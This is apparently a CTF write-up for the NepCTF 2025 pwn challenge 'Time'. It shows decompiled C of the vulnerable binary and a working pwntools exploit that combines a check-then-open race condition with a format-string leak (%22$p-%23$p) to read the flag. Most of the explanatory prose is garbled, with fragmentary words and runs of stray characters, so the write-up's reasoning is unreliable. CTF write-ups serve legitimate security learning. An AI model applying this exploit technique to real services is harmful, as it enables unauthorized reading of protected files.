┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: NepCTF 2025
~ CuB3y0nd
# Time

## Information

- Category: Pwn
- Points: Unknown

## Description

> Unknown

## Write-up

 pwn …… race conditi
on  wp 

 race condition CSAPP ba


```c
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

  newthread[1] = __readfsqword(0x28u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  get_name();
  while ( 1 )
  {
    while ( !(unsigned int)get_filename() )
      ;
    pthread_create(newthread, 0, (void *(*)(void *))start_routine, 0);
  }
}
```

 `get_name`  bss  `format_0`
 fork  `/bin/ls / -al` main 

```c
unsigned __int64 get_name()
{
  char *argv[5]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("please input your name:");
  __isoc99_scanf("%100s", format_0);
  puts("I will tell you all file names in the current directory!");
  argv[0] = "/bin/ls";
  argv[1] = "/";
  argv[2] = "-al";
  argv[3] = 0;
  if ( !fork() )
    execve("/bin/ls", argv, 0);
  wait(0);
  puts("good luck :-)");
  return v2 - __readfsqword(0x28u);
}
```

 main  `get_filename` 
 bss  `file`  flag flag  0
 main 
 flag 

```c
__int64 get_filename()
{
  puts("input file name you want to read:");
  __isoc99_scanf("%s", file);
  if ( !strstr(file, "flag") )
    return 1;
  puts("flag is not allowed!");
  return 0;
}
```

线 `pthread_create` 线 `start_ro
utine` plus 
 md5  md5 
 buf  open 
使 get_name 

```c
unsigned __int64 __fastcall start_routine(void *a1)
{
  unsigned int n; // eax
  int i; // [rsp+4h] [rbp-46Ch]
  int j; // [rsp+8h] [rbp-468h]
  int fd; // [rsp+Ch] [rbp-464h]
  _DWORD v6[24]; // [rsp+10h] [rbp-460h] BYREF
  _BYTE v7[16]; // [rsp+70h] [rbp-400h] BYREF
  _BYTE buf[1000]; // [rsp+80h] [rbp-3F0h] BYREF
  unsigned __int64 v9; // [rsp+468h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  sub_1329(v6);
  n = strlen(file);
  sub_1379(v6, file, n);
  sub_14CB(v6, (__int64)v7);
  puts("I will tell you last file name content in md5:");
  for ( i = 0; i <= 15; ++i )
    printf("%02X", (unsigned __int8)v7[i]);
  putchar(0xA);
  for ( j = 0; j <= 999; ++j )
    buf[j] = 0;
  fd = open(file, 0);
  if ( fd >= 0 )
  {
    read(fd, buf, 0x3E8u);
    close(fd);
    printf("hello ");
    printf(format_0);
    puts(" ,your file read done!");
  }
  else
  {
    puts("file not found!");
  }
  return v9 - __readfsqword(0x28u);
}
```

 flag 线 `
start_routine` race cond
ition 

线线线线
线线线
线……线 `get_filename`
 `flag`线使 
scanf  bss  flag 
线 open  flag 

线
线

线……线 md5 
线 + 
线线
线……

OK flag 
 flag race condition challenge 


## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "./patched"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b"%22$p-%23$p",
    )
    raw_input("DEBUG")
    target.sendlineafter(b"name:", payload)
    target.sendline(b"aaaa")
    target.sendline(b"flag")
    target.recvuntil(b"hello ")

    resp = target.recvuntil(b" ,").split(b"-")
    flag_p1 = bytes.fromhex(resp[0].decode()[2:])[::-1].decode()
    flag_p2 = bytes.fromhex("0" + resp[1].decode()[2:-2])[::-1].decode()
    flag = flag_p1 + flag_p2
    target.success(flag)

    target.interactive()


if __name__ == "__main__":
    main()
```